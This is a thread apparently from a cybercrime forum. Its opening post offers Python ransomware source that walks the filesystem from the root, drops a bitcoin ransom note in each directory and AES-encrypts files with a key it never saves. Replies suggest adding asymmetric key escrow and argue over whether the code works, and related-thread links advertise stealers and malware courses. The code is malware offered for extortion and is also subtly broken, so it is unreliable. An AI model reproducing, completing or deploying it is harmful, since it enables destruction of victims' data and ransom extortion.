Python ransomware
by Mr_subProcess - Wednesday March 12, 2025 at 10:37 AM
#1
import os
from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes
from cryptography.hazmat.primitives import padding
from cryptography.hazmat.backends import default_backend

# AES için 32 byte anahtar oluştur
key = os.urandom(32)  # AES-256 için 32 byte
iv = os.urandom(16)  # 16 byte IV

# Şifreleme fonksiyonu
def encrypt_file(filepath, key, iv):
    try:
        # Dosya içeriğini oku
        with open(filepath, "rb") as file:
            plaintext = file.read()

        # PKCS7 padding ile 16 byte bloklara tamamlama
        padder = padding.PKCS7(128).padder()
        padded_data = padder.update(plaintext) + padder.finalize()

        # AES-256 CBC ile şifreleme
        cipher = Cipher(algorithms.AES(key), modes.CBC(iv), backend=default_backend())
        encryptor = cipher.encryptor()
        ciphertext = encryptor.update(padded_data) + encryptor.finalize()

        # Şifrelenmiş veriyi tekrar dosyaya yaz
        with open(filepath, "wb") as file:
            file.write(iv + ciphertext)  # IV başa eklenir

    except:
        pass  # Hata olursa devam et

# Ana kod bloğu
def main():
    try:
        name = "readme.txt"
        file_list = []  # Şifrelenecek dosyalar için liste
       
        # / dizininde gezip her dizindeki dosyaları listeye ekle
        for root, dirs, files in os.walk("/"):
            dd = os.path.join(root, name)  # Dosya yolu oluşturuluyor

            try:
                # Dosyayı oluştur ve içine mesaj yaz
                with open(dd, "w") as file:
                    file.write("if you want to decrypt the password send 0.0015 bits to this bitcoin account")

                file_list.append(dd)  # Dosya listesini kaydet

            except PermissionError:
                continue  # Hata alınırsa atla

        #  Listeye eklenen tüm dosyaları şifrele
        for file_path in file_list:
            encrypt_file(file_path, key, iv)

    except:
        pass  # Beklenmedik hata olursa devam et

# Ana fonksiyonu çalıştır
main()
Reply
#2
Don't forget about saving your AES key by adding the asymmetric key encryption to encrypt in your code and write to a file.
Reply
#3
(Mar 12, 2025, 10:48 AM)Resurgence669 Wrote: Don't forget about saving your AES key by adding the asymmetric key encryption to encrypt in your code and write to a file.

I haven't forgotten, you will add it to the code .
Reply
#4
This isn't even functional ransomware lol, more like incomplete ransomware or a POC.
Reply
#5
(Mar 12, 2025, 08:12 PM)Chapo Wrote: This isn't even functional ransomware lol, more like incomplete ransomware or a POC.

Yeah, it's basically just a PoC for it.
Reply
#6
(Mar 12, 2025, 08:12 PM)Chapo Wrote: This isn't even functional ransomware lol, more like incomplete ransomware or a POC.

Did you really think I would share a real ransomware for free?
Reply
#7
(Mar 13, 2025, 05:35 PM)Mr_subProcess Wrote:
(Mar 12, 2025, 08:12 PM)Chapo Wrote: This isn't even functional ransomware lol, more like incomplete ransomware or a POC.

Did you really think I would share a real ransomware for free?

Not really, but I also don't exactly expect to see threads with terrible context that just contain useless garbage.
Reply
#8
(Mar 13, 2025, 05:45 PM)Chapo Wrote:
(Mar 13, 2025, 05:35 PM)Mr_subProcess Wrote:
(Mar 12, 2025, 08:12 PM)Chapo Wrote: This isn't even functional ransomware lol, more like incomplete ransomware or a POC.

Did you really think I would share a real ransomware for free?

Not really, but I also don't exactly expect to see threads with terrible context that just contain useless garbage.

Is the guy who does nothing but sell accounts talking again If you want to raise the quality, maybe you can contribute something useful too
Reply
#9
(Mar 13, 2025, 05:52 PM)Mr_subProcess Wrote:
(Mar 13, 2025, 05:45 PM)Chapo Wrote:
(Mar 13, 2025, 05:35 PM)Mr_subProcess Wrote:
(Mar 12, 2025, 08:12 PM)Chapo Wrote: This isn't even functional ransomware lol, more like incomplete ransomware or a POC.

Did you really think I would share a real ransomware for free?

Not really, but I also don't exactly expect to see threads with terrible context that just contain useless garbage.

Is the guy who does nothing but sell accounts talking again If you want to raise the quality, maybe you can contribute something useful too

I don't know what kind of drugs you are taking but I don't sell accounts. Have a good day though.
Reply
#10
adding the asymmetric key encryption to encrypt in your code and write to a file.

This forum account is currently banned. Ban Length: Permanent (N/A Remaining)
Ban Reason: Attempted Scamming Thread-DATABASE-Database-Empik-com-Poland-11-825-92 | http://c66go4clkqodr7tdjfu76jztjs7w7d3fajdeypxn73v4ju3dt7g5yyyd.onion/Forum-Ban-Appeals if you feel this is incorrect.
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  [Sektor7] Full Recent Course Spearr 30 664 3 hours ago
Last Post: sud0net
  Sektor7 - Malware Development Advanced - Vol.1 Sh4d0w1X 424 42,670 3 hours ago
Last Post: sud0net
  Xordium stealer for Pulsar v2.4.5 nullvex 25 989 6 hours ago
Last Post: gergergergerg5825g651eg
  [ LIST ] 5 FREE STEALERS WITH PROS/CONS elix 384 14,808 6 hours ago
Last Post: gergergergerg5825g651eg
  [Go] Using the recycle bin for stealthy persistence (Beginner tutorial) CreateThread 16 920 Yesterday, 07:53 AM
Last Post: sureno

Forum Jump:


 Users browsing this forum: 1 Guest(s)